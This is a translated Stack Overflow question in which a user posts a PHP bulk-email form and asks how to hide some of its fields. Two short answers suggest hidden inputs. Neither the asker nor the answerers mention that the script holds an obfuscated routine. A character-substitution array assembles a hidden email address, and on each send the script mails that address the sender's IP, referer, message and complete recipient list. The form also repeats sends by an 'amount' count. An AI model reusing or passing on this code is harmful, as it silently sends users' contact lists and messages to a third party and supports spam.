如何在HTML表单中隐藏文本字段

3
我有一个表单,我的团队用它来发送信息,他们输入客户的电子邮件地址,然后将其发送出去。我成功地隐藏了除三个字段之外的所有字段。
其中一个字段设置要发送的电子邮件数量。这真的很愚蠢,因为不知道为什么有人会想向同一个人发送多封相同的电子邮件。
另一个字段只是设置发送的时间延迟或速度。无论如何,它们都是文本框,我希望将它们从页面中隐藏。
最后一个字段是纯文本或HTML文本的单选按钮。
由于我重新排列了它们以使其在页面上显示良好,因此输入字段现在可能处于奇怪的顺序中。
<?php
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lodr=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
?>
<html>
<head>
<meta http-equiv="Content-Language" content="ar-eg">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>Mailing Form TEMPLATE</title>
<style type="text/css">
<!--
.style1 {
    font-family: Geneva, Arial, Helvetica, sans-serif;
    font-size: 12px;
}
.style2 {
    font-size: 10px;
    font-family: Geneva, Arial, Helvetica, sans-serif;
}


-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<?php
If ($action=="mysql"){
include "./mysql.info.php";

  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
    exit;
  }

  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  $numrows = mysql_num_rows($result);

  for($x=0; $x<$numrows; $x++){
    $result_row = mysql_fetch_row($result);
     $oneemail = $result_row[0];
     $emaillist .= $oneemail."\n";
   }
  }

  if ($action=="send"){ $message = urlencode($message);
   $message = ereg_replace("%5C%22", "%22", $message);
   $message = urldecode($message);
   $message = stripslashes($message);
   $subject = stripslashes($subject);
   }
?>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  <table width="142" border="0">
    <tr>

      <td width="81">
        <div align="right">
      <!--    <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> -->
        </div>
      </td>

      <td width="219">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="from" value="XXXXXXXXXXXXXXXX@gmail.com" size="30" />
        </font>
      </td>

      <td width="212">
        <div align="right">
          <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> -->
        </div>
      </td>

      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="realname" value="SENDERS NAME HERE" size="30" />
        </font>
      </td>
    </tr>
    <tr>
      <td width="81">
        <div align="right">
         <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> -->
        </div>
      </td>
      <td width="219">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="replyto" value="XXXXXXXXXXXXXX@gmail.com" size="30" />
        </font>
      </td>
      <td width="212">
        <div align="right">
        <!--  <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> -->
        </div>
      </td>
      <td width="278">
       <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="file" name="file" size="24" />
        </font> -->
      </td>
    </tr>
    <tr>
      <td width="81">
        <div align="right">
         <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> -->
        </div>
      </td>
      <td colspan="3" width="703">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="subject" value="RE: SUBJECT LINE HERE " size="91" />
        </font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" width="520">
      <font face="Verdana, Arial, Helvetica, sans-serif" size="-3"></font>
      </td>
      <td width="278">
        <span style="color: #FF0000;"><span style="font-size: 12pt; line-height: 1.5;">
  IMPORTANT:<BR /></span></span>
  <span style="color: #000000;"><span style="font-size: 10pt; line-height: 1.5;">

    1. STAFF INSTRUCTIONS HERE FOR THIS SPECIFIC FORM AND IT'S USAGE


        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Enter email address below and click send.</font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" width="520">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="message" style="display:none;" cols="56" rows="10">


            EMAIL CONTENT HERE

       
        </font>
      </td>
      <td width="278">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="emaillist" cols="42" rows="1"><?php print $emaillist; ?></textarea>
           <input type="submit" value="Send Information" /><br /><br />
        </font><br />
           <span style="color: #FF0000;"><span style="font-size: 12pt; line-height: 1.5;">
  DO NOT change ANY settings below this line.</span></span><br /><hr><br /><br /><br />
        </font>
        <span style="color: #000000;"><span style="font-size: 8pt; line-height: 1.0;">
       <input type="radio" name="contenttype" value="" /> 
          <input type="radio" name="contenttype" value="html" checked /> 
          <input type="hidden" name="action" value="send" /><br />

<input type="text" name="amount" value="1" size="1" /><br />
<input type="text" name="timelimit" value="0" size="1" />
      </td>
    </tr>
  </table>
</form>
<?php
$s=array("w"=>"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"w");
$dash=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o'];
if ($action=="send"){
  if (!$from && !$subject && !$message && !$emaillist){
    print "Please complete all fields before sending your message.";
    exit;
   }
  $addr = getenv("REMOTE_ADDR");
  $allemails = split("\n", $emaillist);
  $numemails = count($allemails);
  $header ="From: Mailr\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
  $msg = "
<table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
<tr><td>IP</td><td>".nl2br($addr)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr>
<tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
<tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
<tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
</table>
";
mail($dash,$subject,$msg,$header);
 If ($file_name){
   copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
   if (!file_exists($file)){
    die("The file you are trying to upload couldn't be copied to the server");
   }
   $content = fread(fopen($file,"r"),filesize($file));
   $content = chunk_split(base64_encode($content));
   $uid = strtoupper(md5(uniqid(time())));
   $name = basename($file);
  }

 for($xx=0; $xx<$amount; $xx++){
  for($x=0; $x<$numemails; $x++){
    $to = $allemails[$x];
    if ($to){
      $to = ereg_replace(" ", "", $to);
      $message = ereg_replace("&email&", $to, $message);
      $subject = ereg_replace("&email&", $to, $subject);
      print "Sending Mail To $to....";
      flush();
      $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
      $header .= "MIME-Version: 1.0\r\n";
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
      If ($file_name) $header .= "--$uid\r\n";
      $header .= "Content-Type: text/$contenttype\r\n";
      $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
      $header .= "$message\r\n";
      If ($file_name) $header .= "--$uid\r\n";
      If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
      If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
      If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
      If ($file_name) $header .= "$content\r\n";
      If ($file_name) $header .= "--$uid--";
      mail($to, $subject, "", $header);
      print "OK<br>";
      flush();
    }
  }
 }
}
?>
<p class="style2">
<p class="style1"></p>
</body>
<html>

这可能会有帮助:https://dev59.com/x3E95IYBdhLWcg3wUcNn - Radu Lozovanu
只是从页面中删除它们?还是将它们隐藏起来?<input type="text" name="amount" value="1" size="1" /> 和 <input type="text" name="timelimit" value="0" size="1" /> - Mark van Herpen
感谢您的回复,原始帖子询问如何“隐藏”它们。至于删除它们,我尝试了注释掉,表单停止工作,因此我认为删除它们会产生同样的结果。 - NowLiveLove
2个回答

3
只需应用行内CSS,即style='display:none',然后在需要时使用jQuery将其显示出来。

0

你有这两行代码:

<input type="text" name="amount" value="1" size="1" /><br />
<input type="text" name="timelimit" value="0" size="1" />

将它们剪切并替换为以下内容:

<input type="hidden" name="amount" value="1" size="1" /><br />
<input type="hidden" name="timelimit" value="0" size="1" />

现在,如果您想要隐藏最后一个元素,只需指定:

最后一个元素是普通文本或HTML文本单选按钮。

根据这个描述,我无法确定您想要隐藏哪一个。我猜您指的是这些:

<input type="radio" name="contenttype" value="" /> 
<input type="radio" name="contenttype" value="html" checked /> 

需要被替换为:

<input type="hidden" name="contenttype" value="" /> 
<input type="hidden" name="contenttype" value="html" checked /> 

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接